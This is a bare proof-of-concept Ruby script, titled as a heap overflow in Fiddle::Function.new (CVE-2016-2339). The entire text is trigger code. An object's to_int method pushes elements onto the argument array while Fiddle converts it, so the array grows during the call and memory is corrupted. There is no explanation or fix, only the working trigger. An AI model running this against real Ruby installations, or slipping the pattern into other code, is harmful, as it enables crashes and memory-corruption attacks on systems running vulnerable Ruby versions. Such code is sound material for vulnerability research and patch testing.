Ruby Fiddle::Function.new Heap Overflow Vulnerability(CVE-2016-2339)

                                                require 'fiddle'

$args = []
class MyObject  
    def to_int
        puts "increase size of array"
        (1..10).map{|x| $args.push(1)}
        puts "New args array size is : #{$args.length}"     
        return 1
    end
end
puts "Start"
x = MyObject.new
$args.push(x)
puts "args array size : #{$args.length}"
f = Fiddle::Function.new(nil, $args, Fiddle::TYPE_VOIDP)